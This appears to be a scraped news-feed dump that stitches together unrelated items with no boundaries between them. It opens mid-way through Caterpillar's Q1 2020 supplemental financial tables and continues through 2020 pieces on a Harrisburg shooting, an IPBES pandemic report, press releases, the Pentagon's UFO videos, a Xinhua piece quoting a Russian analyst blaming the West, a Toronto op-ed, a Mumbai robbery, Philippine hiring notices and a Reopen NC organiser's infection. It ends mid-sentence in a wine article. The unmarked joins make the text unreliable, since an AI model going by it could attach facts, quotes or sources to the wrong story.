4 Profit 7 $ 1,092 $ 1,092 $ 73 $ (73) 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of Financial Products' revenues earned from Machinery, Energy & Transportation. 3 Elimination of net expenses recorded by Machinery, Energy & Transportation paid to Financial Products. 4 Elimination of interest expense recorded between Financial Products and Machinery, Energy & Transportation. 5 Elimination of discount recorded by Machinery, Energy & Transportation on receivables sold to Financial Products and of interest earned between Machinery, Energy & Transportation and Financial Products. 6 Elimination of Financial Products' profit due to equity method of accounting. 7 Profit attributable to common shareholders. Caterpillar Inc. Supplemental Data for Results of Operations For the Three Months Ended March 31, 2019 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation1 Financial Products Consolidating Adjustments Sales and revenues: Sales of Machinery, Energy & Transportation $ 12,724 $ 12,724 $ $ Revenues of Financial Products 742 870 (128) 2 Total sales and revenues 13,466 12,724 870 (128) Operating costs: Cost of goods sold 9,003 9,003 Selling, general and administrative expenses 1,319 1,127 192 Research and development expenses 435 435 Interest expense of Financial Products 190 200 (10) 4 Other operating (income) expenses 312 10 313 (11) 3 Total operating costs 11,259 10,575 705 (21) Operating profit 2,207 2,149 165 (107) Interest expense excluding Financial Products 103 110 (7) 4 Other income (expense) 160 19 41 100 5 Consolidated profit before taxes 2,264 2,058 206 Provision (benefit) for income taxes 387 335 52 Profit of consolidated companies 1,877 1,723 154 Equity in profit (loss) of unconsolidated affiliated companies 7 7 Equity in profit of Financial Products' subsidiaries 148 (148) 6 Profit of consolidated and affiliated companies 1,884 1,878 154 (148) Less: Profit (loss) attributable to noncontrolling interests 3 (3) 6 Profit 7 $ 1,881 $ 1,881 $ 148 $ (148) 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of Financial Products' revenues earned from Machinery, Energy & Transportation. 3 Elimination of net expenses recorded by Machinery, Energy & Transportation paid to Financial Products. 4 Elimination of interest expense recorded between Financial Products and Machinery, Energy & Transportation. 5 Elimination of discount recorded by Machinery, Energy & Transportation on receivables sold to Financial Products and of interest earned between Machinery, Energy & Transportation and Financial Products. 6 Elimination of Financial Products' profit due to equity method of accounting. 7 Profit attributable to common shareholders. Caterpillar Inc. Supplemental Data for Financial Position At March 31, 2020 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation 1 Financial Products Consolidating Adjustments Assets Current assets: Cash and short-term investments $ 7,123 $ 6,251 $ 872 $ Receivables trade and other 7,834 2,722 482 4,630 2,3 Receivables finance 9,120 13,886 (4,766) 3 Prepaid expenses and other current assets 1,761 1,237 555 (31) 4 Inventories 11,748 11,748 Total current assets 37,586 21,958 15,795 (167) Property, plant and equipment net 12,488 8,385 4,103 Long-term receivables trade and other 1,196 268 266 662 2,3 Long-term receivables finance 12,021 12,694 (673) 3 Investments in Financial Products subsidiaries 3,999 (3,999) 5 Noncurrent deferred and refundable income taxes 1,426 1,975 96 (645) 6 Intangible assets 1,478 1,478 Goodwill 6,140 6,140 Other assets 3,559 2,048 1,610 (99) 7 Total assets $ 75,894 $ 46,251 $ 34,564 $ (4,921) Liabilities Current liabilities: Short-term borrowings $ 4,789 $ $ 4,789 $ Short-term borrowings with consolidated companies Accounts payable 5,769 5,672 233 (136) 9 Accrued expenses 3,776 3,426 350 Accrued wages, salaries and employee benefits 878 862 16 Customer advances 1,295 1,295 Dividends payable Other current liabilities 2,074 1,500 626 (52) 6,10 Long-term debt due within one year 7,935 143 7,792 Total current liabilities 26,516 12,898 13,806 (188) Long-term debt due after one year 24,369 9,009 15,371 (11) 8 Liability for postemployment benefits 6,333 6,332 1 Other liabilities 4,437 3,773 1,387 (723) 6 Total liabilities 61,655 32,012 30,565 (922) Shareholders' equity Common stock 6,046 6,046 919 (919) 5 Treasury stock (25,341) (25,341) Profit employed in the business 35,504 35,504 4,057 (4,057) 5 Accumulated other comprehensive income (loss) (2,012) (2,012) (1,152) 1,152 5 Noncontrolling interests 42 42 175 (175) 5 Total shareholders' equity 14,239 14,239 3,999 (3,999) Total liabilities and shareholders' equity $ 75,894 $ 46,251 $ 34,564 $ (4,921) 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of receivables between Machinery, Energy & Transportation and Financial Products. 3 Reclassification of Machinery, Energy & Transportation's trade receivables purchased by Financial Products and Financial Products' wholesale inventory receivables. 4 Elimination of Machinery, Energy & Transportation's insurance premiums that are prepaid to Financial Products. 5 Elimination of Financial Products' equity which is accounted for by Machinery, Energy & Transportation on the equity basis. 6 Reclassification reflecting required netting of deferred tax assets / liabilities by taxing jurisdiction. 7 Elimination of other intercompany assets between Machinery, Energy & Transportation and Financial Products. 8 Elimination of debt between Machinery, Energy & Transportation and Financial Products. 9 Elimination of payables between Machinery, Energy & Transportation and Financial Products. 10 Elimination of prepaid insurance in Financial Products' other liabilities. Caterpillar Inc. Supplemental Data for Financial Position At December 31, 2019 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation 1 Financial Products Consolidating Adjustments Assets Current assets: Cash and short-term investments $ 8,284 $ 7,299 $ 985 $ Receivables trade and other 8,568 3,737 451 4,380 2,3 Receivables finance 9,336 14,489 (5,153) 3 Prepaid expenses and other current assets 1,739 1,290 529 (80) 4 Inventories 11,266 11,266 Total current assets 39,193 23,592 16,454 (853) Property, plant and equipment net 12,904 8,606 4,298 Long-term receivables trade and other 1,193 348 152 693 2,3 Long-term receivables finance 12,651 13,354 (703) 3 Investments in Financial Products subsidiaries 4,260 (4,260) 5 Noncurrent deferred and refundable income taxes 1,411 2,002 117 (708) 6 Intangible assets 1,565 1,565 Goodwill 6,196 6,196 Other assets 3,340 1,868 1,572 (100) 7 Total assets $ 78,453 $ 48,437 $ 35,947 $ (5,931) Liabilities Current liabilities: Short-term borrowings $ 5,166 $ 5 $ 5,161 $ Short-term borrowings with consolidated companies 600 (600) 8 Accounts payable 5,957 5,918 212 (173) 9 Accrued expenses 3,750 3,415 335 Accrued wages, salaries and employee benefits 1,629 1,580 49 Customer advances 1,187 1,187 Dividends payable 567 567 Other current liabilities 2,155 1,689 566 (100) 6,10 Long-term debt due within one year 6,210 16 6,194 Total current liabilities 26,621 14,377 13,117 (873) Long-term debt due after one year 26,281 9,151 17,140 (10) 8 Liability for postemployment benefits 6,599 6,599 Other liabilities 4,323 3,681 1,430 (788) 6 Total liabilities 63,824 33,808 31,687 (1,671) Shareholders' equity Common stock 5,935 5,935 919 (919) 5 Treasury stock (24,217) (24,217) Profit employed in the business 34,437 34,437 3,997 (3,997) 5 Accumulated other comprehensive income (loss) (1,567) (1,567) (828) 828 5 Noncontrolling interests 41 41 172 (172) 5 Total shareholders' equity 14,629 14,629 4,260 (4,260) Total liabilities and shareholders' equity $ 78,453 $ 48,437 $ 35,947 $ (5,931) 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of receivables between Machinery, Energy & Transportation and Financial Products. 3 Reclassification of Machinery, Energy & Transportation's trade receivables purchased by Financial Products and Financial Products' wholesale inventory receivables. 4 Elimination of Machinery, Energy & Transportation's insurance premiums that are prepaid to Financial Products. 5 Elimination of Financial Products' equity which is accounted for by Machinery, Energy & Transportation on the equity basis. 6 Reclassification reflecting required netting of deferred tax assets / liabilities by taxing jurisdiction. 7 Elimination of other intercompany assets between Machinery, Energy & Transportation and Financial Products. 8 Elimination of debt between Machinery, Energy & Transportation and Financial Products. 9 Elimination of payables between Machinery, Energy & Transportation and Financial Products. 10 Elimination of prepaid insurance in Financial Products' other liabilities. Caterpillar Inc. Supplemental Data for Cash Flow For the Three Months Ended March 31, 2020 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation1 Financial Products Consolidating Adjustments Cash flow from operating activities: Profit of consolidated and affiliated companies $ 1,093 $ 1,089 $ 77 $ (73) 2 Adjustments for non-cash items: Depreciation and amortization 614 402 212 Undistributed profit of Financial Products (73) 73 3 Gain on remeasurement of a non-U.S. pension obligation (254) (254) Provision (benefit) for deferred income taxes 20 75 (55) Other 534 249 170 115 4 Changes in assets and liabilities, net of acquisitions and divestitures: Receivables trade and other 500 328 (56) 228 4, 5 Inventories (541) (538) (3) 4 Accounts payable 90 2 51 37 4 Accrued expenses (97) (105) 8 Accrued wages, salaries and employee benefits (722) (689) (33) Customer advances 116 116 Other assets net (50) 15 (16) (49) 4 Other liabilities net (173) (299) 73 53 4 Net cash provided by (used for) operating activities 1,130 318 431 381 Cash flow from investing activities: Capital expenditures excluding equipment leased to others (305) (304) (1) Expenditures for equipment leased to others (243) 2 (249) 4 4 Proceeds from disposals of leased assets and property, plant and equipment 216 61 156 (1) 4 Additions to finance receivables (2,953) (3,213) 260 5 Collections of finance receivables 3,153 3,421 (268) 5 Net intercompany purchased receivables 376 (376) 5 Proceeds from sale of finance receivables 31 31 Net intercompany borrowings 599 1 (600) 6 Investments and acquisitions (net of cash acquired) (35) (35) Proceeds from sale of securities 68 6 62 Investments in securities (180) (5) (175) Other net 35 35 Net cash provided by (used for) investing activities (213) 324 444 (981) Cash flow from financing activities: Dividends paid (567) (567) Common stock issued, including treasury shares reissued (23) (23) Common shares repurchased (1,043) (1,043) Net intercompany borrowings (1) (599) 600 6 Proceeds from debt issued > 90 days 2,141 15 2,126 Payments on debt > 90 days (2,466) (6) (2,460) Short-term borrowings net < 90 days (40) (5) (35) Other net (1) (1) Net cash provided by (used for) financing activities (1,999) (1,631) (968) 600 Effect of exchange rate changes on cash (80) (59) (21) Increase (decrease) in cash and short-term investments and restricted cash (1,162) (1,048) (114) Cash and short-term investments and restricted cash at beginning of period 8,292 7,302 990 Cash and short-term investments and restricted cash at end of period $ 7,130 $ 6,254 $ 876 $ 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of Financial Products' profit after tax due to equity method of accounting. 3 Elimination of non-cash adjustment for the undistributed earnings from Financial Products. 4 Elimination of non-cash adjustments and changes in assets and liabilities related to consolidated reporting. 5 Reclassification of Financial Products' cash flow activity from investing to operating for receivables that arose from the sale of inventory. 6 Elimination of net proceeds and payments to/from Machinery, Energy & Transportation and Financial Products. Caterpillar Inc. Supplemental Data for Cash Flow For the Three Months Ended March 31, 2019 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation1 Financial Products Consolidating Adjustments Cash flow from operating activities: Profit of consolidated and affiliated companies $ 1,884 $ 1,878 $ 154 $ (148) 2 Adjustments for non-cash items: Depreciation and amortization 641 424 217 Undistributed profit of Financial Products (148) 148 3 Provision (benefit) for deferred income taxes (11) 14 (25) Other 88 49 (59) 98 4 Changes in assets and liabilities, net of acquisitions and divestitures: Receivables trade and other (150) 75 (24) (201) 4, 5 Inventories (813) (818) 5 4 Accounts payable 355 336 12 7 4 Accrued expenses 135 124 11 Accrued wages, salaries and employee benefits (1,185) (1,177) (8) Customer advances 105 105 Other assets net (7) (6) 37 (38) 4 Other liabilities net 79 4 35 40 4 Net cash provided by (used for) operating activities 1,121 860 350 (89) Cash flow from investing activities: Capital expenditures excluding equipment leased to others (278) (274) (4) Expenditures for equipment leased to others (269) (23) (247) 1 4 Proceeds from disposals of leased assets and property, plant and equipment 209 26 189 (6) 4 Additions to finance receivables (2,615) (2,971) 356 5 Collections of finance receivables 2,818 3,096 (278) 5 Net intercompany purchased receivables (16) 16 5 Proceeds from sale of finance receivables 44 44 Net intercompany borrowings 63 (63) 6 Investments and acquisitions (net of cash acquired) (2) (2) Proceeds from sale of securities 57 4 53 Investments in securities (107) (7) (100) Other net (38) (13) (25) Net cash provided by (used for) investing activities (181) (226) 19 26 Cash flow from financing activities: Dividends paid (494) (494) Common stock issued, including treasury shares reissued (5) (5) Common shares repurchased (751) (751) Net intercompany borrowings (63) 63 6 Proceeds from debt issued > 90 days 2,665 2,665 Payments on debt > 90 days (2,567) (2) (2,565) Short-term borrowings net < 90 days (522) 4 (526) Other net (1) (1) Net cash provided by (used for) financing activities (1,675) (1,249) (489) 63 Effect of exchange rate changes on cash 3 5 (2) Increase (decrease) in cash and short-term investments and restricted cash (732) (610) (122) Cash and short-term investments and restricted cash at beginning of period 7,890 6,994 896 Cash and short-term investments and restricted cash at end of period $ 7,158 $ 6,384 $ 774 $ 1 Represents Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. 2 Elimination of Financial Products' profit after tax due to equity method of accounting. 3 Elimination of non-cash adjustment for the undistributed earnings from Financial Products. 4 Elimination of non-cash adjustment and changes in assets and liabilities related to consolidated reporting. 5 Reclassification of Financial Products' cash flow activity from investing to operating for receivables that arose from the sale of inventory. 6 Elimination of net proceeds and payments to/from Machinery, Energy & Transportation and Financial Products. SOURCE Caterpillar Inc. Related Links http://www.caterpillar.com Harrisburg police charged an 18-year-old with aggravated assault after he allegedly fired at two other motorists after a car crash in broad daylight. The crash occurred about 5:35 p.m. Friday at 20th and Brown streets, which is about four blocks north of Reservoir Park. Witnesses told police they saw a Lincoln traveling southbound on 20th when it collided with a Honda, that pulled out from Brown Street., according to court records. The Lincoln hit the Honda and then crossed the road, where it hit several parked vehicles on the east side of 20th. Witnesses told police the passenger from the Lincoln got out after the crash and fired a 9 mm handgun at the occupants of the Honda, who ran away. No one was hit. Witnesses also said they saw the driver and passenger from the Lincoln picking up cash that had fallen to the ground. When officers arrived at the scene, they found the suspected driver and passenger from the Lincoln still in the area, according to court records. A car hit a Harrisburg residential building after striking another in the 800 block of North 20th Street. Police tell us there are no injuries but shell casings are scattered in the street. Several people were in handcuffs when we arrived. pic.twitter.com/LjKxiplbQq Sarah Gisriel (@SarahGABC27) April 24, 2020 The occupants from the Honda returned to the scene and said they ran away to avoid gunfire and went into a friends house. They said they came back when they saw police and believed it was safe to do so. Police said the gunman picked up at least one shell casing from the scene and put it in his pocket to try to stymie the police investigation. Police identified the suspected gunman as Aujeire Grayer. Officers said they found a bag of marijuana and the shell casing in his jacket pocket. Besides felony aggravated assault, police charged Grayer with recklessly endangering another person, tampering with evidence, carrying a concealed firearm without a license and marijuana possession. He remained in jail Monday in lieu of a $100,000 bond. Police said they arent sure why the car crash ended in gunfire. It didnt appear that the passengers of the two vehicles knew each other prior to the incident. READ: Killer shot Harrisburg man inside home before victim fled and collapsed in parking lot Humans are to blame for coronavirus and even deadlier pandemics will follow unless the environment is protected, scientists have warned. Scientists said in a report published this week: 'There is a single species responsible for the Covid-19 pandemic us. 'Recent pandemics are a direct consequence of human activity, particularly our global financial and economic systems that prize economic growth at any cost.' The report was published by IBPES, an international platform that informs policy through science, and co-authored by experts Professors Josef Settele, Sandra Diaz, Eduardo Brondizio and Dr Peter Daszak. Up to 1.7 million unidentified viruses known to infect humans are thought to exist in mammals and water birds, they warned, and 'Any one of these could be the next "Disease X" potentially even more disruptive and lethal than COVID-19'. The report, written for the science-policy website IPBES, said: 'Rampant deforestation, uncontrolled expansion of agriculture, intensive farming, mining and infrastructure development, as well as the exploitation of wild species have created a 'perfect storm' for the spillover of diseases.' There have been more than 211,000 deaths worldwide as the pandemic continues to cause widespread devastation The scientists said activities like these cause pandemics by bringing increasing numbers of people into direct contact with animals that carry the pathogens, where 70 per cent of emerging diseases originate from. The explosive growth of air travel coupled with urbanisation allowed for a harmless virus in Asian bats to bring 'untold human suffering and halt economies and societies around the world,' they said. 'This is the human hand in pandemic emergence. Yet this may be only the beginning.' The report authors said hey said a global 'One Health' approach must be developed to recognise the 'complex interconnections among the health of people, animals, plants and our shared environment'. Above, aerial drone photo of rainforest logging for oil palm plantations They added that 'Future pandemics are likely to happen more frequently, spread more rapidly, have greater economic impact and kill more people if we are not extremely careful about the possible impacts of the choices we make today.' The scientists warned that we have a small window of opportunity in overcoming the challenges of the current crisis 'to avoid sowing the seeds of future ones'. They said a global 'One Health' approach must be developed to recognise the 'complex interconnections among the health of people, animals, plants and our shared environment'. Government fund recovery packages to bolster failing economies must be used to strengthen environmental protection. Relaxing environmental standards 'without requiring urgent and fundamental change essentially subsidises the emergence of future pandemics', they said. Above, a basket of prawns at a shop at at a wet market, the Wuhan Baishazhou Market in Wuhan in China's central Hubei province Health services must also be funded properly in countries most at risk of future pandemics to protect the 'health of the most vulnerable'. They said: 'This is not simple altruism it is vital investment in the interests of all to prevent future global outbreaks.' The article comes following a landmark 2019 report when the scientists led the most comprehensive planetary health check and concluded human society was at risk from earth's rapidly declining resources. Report co-author Dr Peter Daszak told The Guardian that 'The programmes we're talking about will cost tens of billions of dollars a year. But if you get one pandemic, even just one a century, that costs trillions, so you still come out with an incredibly good return on investment.' He added that business as usual is 'not a good strategy' and that 'we need to deal with the underlying drivers. The UN's environment chief, Inger Andersen, said in March that 'nature is sending us a message' with the coronavirus pandemic and the ongoing climate crisis. And last week the UN secretary general Antonio Guterres said: 'The current crisis is an unprecedented wake-up call' and 'we need to do things right for the future.' The article said that health services must also be funded properly in countries most at risk of future pandemics to protect the 'health of the most vulnerable'. A medical worker is helped by others to wear her personal protective equipment at the intensive care unit of the Sotiria hospital in Greece, above The outbreak has seen more than three million confirmed cases of coronavirus worldwide and 211,000 deaths as the pandemic continues to cause widespread devastation. Strict lockdown measures have been implemented in most countries to slow its spread as scientists race to create a vaccine, though some countries have begun to ease rules. The World Health Organisation chief Dr Tedros Adhanom Ghebreyesus has said 'the world should have listened' when it first sounded the alarm about coronavirus. On Monday he said: 'We can only give advice to countries. We don't have any mandate to force countries to implement what we advise them. 'The world should have listened to the WHO carefully. We advised the whole world to implement a comprehensive public health approach - find, test, contact tracing and so on.' New Delhi, April 13 (IANS) To control the spread of coronavirus, the Delhi government, here on Monday, launched a disinfection drive in the Rajinder Nagar Assembly constituency by using Japanese machines. Image Source: IANS News Kochi, April 28 : SmartCity Kochi on Tuesday completed its disinfection protocol in accordance with a recent Kerala government direction that requires IT companies to clean their premises after Covid-19 struck hard in the state . At present the 246-acre SmartCity Kochi has a majority of its firms allowing employees to work from home. The disinfection measures came in the wake of the partial relaxation to IT firms to operate with 50 per cent of the total workforce. The disinfection was carried out according to the guidelines of the Health Department. They undertook comprehensive specialist sanitation in all common areas as per the guidelines. SmartCity Kochi is a joint venture company formed by the Kerala government and Dubai Holding. THE WOODLANDS, Texas, April 28, 2020 /PRNewswire/ -- Rockland Capital LP ("Rockland"), a leading investment company that is focused on the acquisition, development, and optimization of companies and projects in the energy sector, today announced that one of its investment funds has formed Rockland Renewable Ventures, LLC ("RRV") and has hired industry veteran Ruben Fontes as its President. RRV will specialize in the origination and development of clean and renewable energy assets throughout the country. Fontes has been a senior executive in the renewable energy space for over 12 years, most recently as CEO of TerraNavigator, LLC and Senior Vice President with Ameresco, Inc. "We are very excited to introduce RRV to the market and we are very much looking forward to supporting Ruben as he builds and leads his team" said Scott Harlan, Managing Partner of Rockland Capital. "We couldn't be happier with this partnership and look forward to collaborating with Ruben on this new venture." RRV will look to build upon and leverage Rockland's energy industry presence and unique capital platforms to offer comprehensive renewable solutions to customers that include the management of all development, financing, engineering, construction, operation and optimization activities. "I could not be more pleased to join the Rockland family," said Fontes. "This partnership opportunity combines proven industry leadership with customized and innovative capital solutions, all of which are guided by clean energy and sustainability for our customers." About Rockland Capital LP Rockland Capital is a private equity company that was formed in early 2003 in order to acquire and develop selected investment opportunities in power and energy infrastructure markets. Rockland is currently investing Rockland Power Partners III, LP, a $454 million private equity fund with investors that include U.S. endowments and foundations, funds of funds, pension plans and family offices. The firm also manages Rockland PJM Partners, LP, a $200 million private equity fund, Rockland Power Partners II, LP, a $425 million private equity fund and, Rockland Power Partners, LP, a $333 million private equity fund. Investments have been located throughout the United States and the United Kingdom, ranging from 1,875 MW to 5 MW, fueled by natural gas, coal, biomass, oil, energy storage, wind and solar power. Rockland has its corporate headquarters located in The Woodlands, TX. For more information, visit www.rocklandcapital.com. SOURCE Rockland Capital Related Links www.rocklandcapital.com The Department of Defense released three videos taken by U.S. Navy pilots revealing mysterious flying objects that to this day remain unidentified. The declassification of the videos late Monday, one of which was taken in 2004 and the subsequent two taken in 2015, was meant to "clear up any misconceptions by the public on whether or not the footage that has been circulating was real, or whether or not there is more to the videos," the Pentagon said in a statement Monday. The footage, which shows unidentified objects flying at high speeds in the Earth's atmosphere along with audio of Navy pilots expressing shock and awe, was initially leaked in 2007 and 2017. The videos were taken during training flights and the 2017 leaks were published by the New York Times. "The U.S. Navy previously acknowledged that these videos circulating in the public domain were indeed Navy videos," the Pentagon's statement read. "After a thorough review, the department has determined that the authorized release of these unclassified videos does not reveal any sensitive capabilities or systems, and does not impinge on any subsequent investigations of military air space incursions by unidentified aerial phenomena." "The aerial phenomena observed in the videos remain characterized as 'unidentified'," it said. Video tweet The Pentagon's release of the videos removes speculation as to whether they were real and is sure to spur deeper questioning concerning the existence of extraterrestrial life and human interaction with it. "There's a whole fleet of them My gosh, they're all going against the wind, the wind is 120 knots to the west. Look at that thing dude!" a pilot exclaims in one of the videos. The U.S. Navy actually began formalizing a reporting process last year for pilots to report incidents of UFO sightings, saying in an April 2019 statement that there have been "a number of reports of unauthorized and/or unidentified aircraft entering various military-controlled ranges and designated airspace in recent years." Source: Xinhua| 2020-04-28 22:42:11|Editor: huaxia Video Player Close MOSCOW, April 28 (Xinhua) -- The West is blaming China for the COVID-19 pandemic to divert attention from its own incompetence in fighting the global threat, a Russian expert said on Monday. "The example of China has shown everyone that defeating the coronavirus epidemic is possible. And this, of course, will have a serious impact on the position of many people in the world," Alexei Mukhin, director general of the Center for Political Information think tank, said in an interview with Xinhua. Mukhin also said China and Russia are fighting the disease effectively, as well as providing diverse support to other countries, including sending teams of virologists and planeloads of protective equipment to countries severely hit by the pandemic. "The United States generally demonstrates a pattern of selfish behavior and it has long left the legal field, which requires additional analysis and conclusions of the world community," Mukhin said. He gave the example of the United States attempting to purchase data from German scientists who had made progress in the creation of an anti-coronavirus vaccine, "only for the United States of America." "This demonstrates an extremely abominable position of the leadership of the United States," Mukhin said. "And that is why Western propaganda will now blame China and Russia for anything with the sole purpose of diverting attention from the West and its problems and from the ignominious actions of a number of politicians," Mukhin added. LONE TREE, Colo., April 28, 2020 /PRNewswire/ -- Rapid Technologies, a boutique ServiceNow partner, has announced a new program designed to benefit Children's Hospitals across the US and Canada. Through the ServiceNow for Good program, Rapid Technologies will be donating 1% of all ServiceNow professional services and software license revenue received from their clients to their local Children's Hospital. "As a mission driven company, we believe strongly that doing good business and doing good are one in the same, " said Bill Mell, president and CEO of Rapid Technologies. "Through the ServiceNow for Good program we're able to have a positive impact in the communities where our clients live and work." Rapid Technologies has supported Children's Hospitals since 2009 after an employee's daughter lost her battle to neuroblastoma at the age of 2. As a tribute to her inspiration and legacy, it is the company's hope to significantly contribute to pediatric cancer research and improve the lives of children living with cancer. "It's inspiring to see Rapid Technologies emphasize the importance of giving back to communities, especially during this difficult time," said Kathy Mulvany, Head of Global Impact at ServiceNow. "We share the belief that companies have both a responsibility and an opportunity to truly make a difference." This unique program is made possible through Rapid Technologies corporate partnership with the Children's Miracle Network and their 170 member hospitals across the US and Canada. Rapid Technologies expects to donate over $50,000 to Children's Hospitals in the next year with 100% of donations benefiting the hospital's oncology department in support of children with cancer. About ServiceNow ServiceNow (NYSE: NOW) is making the world of work, work better for people. Our cloud-based platform and solutions deliver digital workflows that create great experiences and unlock productivity for employees and the enterprise. For more information, visit: www.servicenow.com. About Rapid Technologies Rapid Technologies provides boutique ServiceNow professional services and software with a purpose driven mission to build community in support of a common cause. For more information, visit: www.raptek.com. Press Contact: Rapid Technologies PR Ericka Schnor 303-589-3595 [email protected] SOURCE Rapid Technologies Related Links https://www.raptek.com Cities around the world are turning over vast sections of roadway to pedestrians and cyclists during the pandemic. Canadian cities, including Vancouver, Calgary, Winnipeg and Montreal, have moved to redistribute road space. And why not? Its not as though the roads are filled by the usual drivers rushing to and from their offices, and pedestrians clearly need more space than most sidewalks provide just to stay the required two metres apart. Unfortunately, none of these sensible changes are happening in Toronto. Here, we get something called CurbTO. Its a tiny bit more pedestrian space, grudgingly given only where absolutely necessary. And even that plan comes with additional parking for drivers. Starting this week, Toronto will block off short sections of the curb lane to alleviate sidewalk crowding in hotspots. It should make it possible for people walking past pharmacies and grocery stores in certain areas to stay two metres away from the people lined up outside those stores in two-metre increments. Its the equivalent of adding parking space for pedestrians. It does absolutely nothing to provide safe space for people feeling cooped up after weeks of lockdown to carry out the most basic of human activities: going for a walk. This is not a plan to help Canadas largest city survive the coming weeks, even months, of continued restrictions. Its the bare minimum the city must do just to avoid being held responsible for people breaking the two-metre rule while going about their essential business. Mayor John Tory acknowledged some people want more than this. They sure do. And theyre right not just to want more but to expect more from the city than this paltry plan. Were told its all that can be done because Dr. Eileen de Villa, the citys public health chief, says giving pedestrians any additional space may inadvertently encourage congregation. This is the same type of thinking put forward by Ottawas associate medical officer of health when he suggested people couldnt be trusted to have a socially distanced drink over the fence with their neighbours. Only in that case, Ottawas mayor rightly shot it down, while Tory is parroting it. Plenty of other cities Ottawa included have safely provided more outdoor space for pedestrians by reallocating roadways and its high time Toronto figured it out. Over the past six weeks, the vast majority of people have done whats been asked of them to flatten the COVID-19 curve. But its not physically or mentally healthy to expect people to stay indoors for the weeks and possibly months still to come. So many people in Toronto live in densely populated neighbourhoods full of highrise apartments and condominiums that the citys public spaces and parks the bits of them that remain open at any rate are insufficient to allow for social distancing. More space for pedestrians is needed to make pandemic rules sustainable, especially as the weather gets nicer. The ability to go for a walk after being cooped up inside all day working or trying to get kids to do their school work or quite possibly both at the same time should be a pretty low bar to meet for a city as capable as this one. Toronto has long been car-centric. It takes years of debate to make space for public transit or a bike lane if theres a risk it will inconvenience drivers or reduce parking in any way. So its not a surprise that Toronto hasnt yet used this crisis to rethink travel in a post-pandemic world the way other cities have. But it should not be too much to ask that the city try to make life just a little more bearable right now. Toronto needs to free up more space so people can get outside and still maintain social distancing. And the city should trust its citizens to use it appropriately. Read more about: The chief of an NGO who got permission to move around in the coronavirus-induced lockdown to distribute food has been arrested for allegedly assembling a gang and robbing a jewellery story in Andheri in Mumbai of ornaments worth Rs 7 crore, police said on Tuesday. Vipul Ananda Chambriya (35), president of the city- based Ekta Foundation, was arrested along with six others on Monday and loot worth Rs 5.30 crore has been recovered, said Zone X Deputy Commissioner of Police Ankit Goel. "On April 22, amid the lockdown, Rajkumar Luthra filed a complaint that his jewellery shop had been broken into through the roof using a gas cutter and ornaments worth Rs 7 crore were stolen," an MIDC police station official said. "Three teams were made and after interrogating several people who may have been in the vicinity, we zeroed in on Chambriya. He had permission to distribute food to the needy during lockdown. After collecting information about the shop, he brought in six accomplices, including four who work in his NGO, and robbed the shop," he added. The MIDC police official identified the others who have been arrested as shop stock holder Desman Chotalal Chohan, security guard Munna Khairwar, and Chambriya's NGO staff Laxman Narsappa Dandu, Shankar Kumar Yeshu, Rajesh Marpakka and VIkas Chanwadi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Metro Manila (CNN Philippines, April 28) Five hospitals and some designated quarantine facilities are set to hire nearly 1,000 new health workers to augment their manpower, the Department of Health said Tuesday. The department said it has opened 989 slots for more medical personnel in the Philippine General Hospital, the Lung Center of the Philippines, the Dr. Jose N. Rodriguez Memorial Hospital, the East Avenue Medical Center, the Research Institute for Tropical Medicine and facilities from the Bureau of Quarantine. The DOH said the hospitals mentioned have already employed 310 new health workers, saying the staffing is part of the agency's emergency hiring program. Health spokesperson Ma. Rosario Vergeire said the DOH has received requests from 37 health facilities to boost the number of their frontliners, many of whom contracted the coronavirus at work. Interested health workers may apply at the following institutions: Philippine General Hospital - 8523-7123/0923-5373168/09089771045; od.uppgh@up.edu.ph (Mr. Angelo L. Magbanua) Lung Center of the Philippines - 8924-6101 loc 4025, 4028/09228647673; lcp_cbalderosa@yahoo.com (Ms. Consolacion M. Balderosa) Jose N. Rodriguez Memorial Hospital and Sanitarium - 8924-2571 loc. 114/09434799337/09054486571; rcabulay@yahoo.com (Ms. Rea C. Cabulay) Research Institute for Tropical Medicine - 8807-2682 LOC. 221/09431388772; hrd.ritm@yahoo.com.ph Bureau of Quarantine - 5318-7500 loc 112; personnel.boq@gmail.com (Ms. Laarni Liwanag, address applications to Dir. Ferdinand S. Salcedo) (Newser) A leader of a movement protesting North Carolina's stay-at-home order has contracted the coronavirus. Reopen NC has been opposing the measures Gov. Roy Cooper is taking to slow the spread of the virus, and has held two protests in downtown Raleigh. In a recent message to the movement's Facebook group, administrator Audrey Whitlock said she tested positive for COVID-19 and was quarantined until Sunday. "As an asymptomatic COVID19 positive patient ... another concern I have is the treatment of COVID patients as it relates to other communicable diseases," she wrote, per the Raleigh News & Observer. "I have been forced to quarantine in my home for 2 weeks." She went on to complain about being denied freedom of religion as well as the right to work. ABC 11 says the post has since been deleted. story continues below But Whitlock confirmed to the station that she did test positive, though she wouldn't comment on whether she was re-tested at the end of her quarantine period to see if she was still testing positive. She also wouldn't say whether she attended Reopen NC's protests on April 14 or 21, but another administrator of the Facebook group said she was not at the April 21 protest. Whitlock said in the now-deleted post that she planned to attend the April 28 protest. She also explained in a subsequent post that she was sick in February, along with two others in her household, after traveling to the West Coast. She said she had a severe cough and breathing problems. No one was tested for coronavirus at the time, but when antibody tests came out, she decided to get checkedand ended up testing positive for the virus. "The Americans with Disabilities Act prohibits discrimination by employers, places of public accommodation, and state and local government entities," she said in her post. "Where do we draw the line?" (Read more coronavirus stories.) The spicy flavors of baking spice, tobacco and vanilla are wonderful with any spices used in Middle Eastern cooking, Indian curries and Asian flavors, as long as they are not overly spicy. Spicy (heat) foods are made spicier by wines that have higher alcohol content and do not make for the most pleasurable dining experience. One winemaker in particular produces a fantastic Zinfandel-based wine that not only bucks tradition but also delivers the goods. Orin Swift Cellars was founded 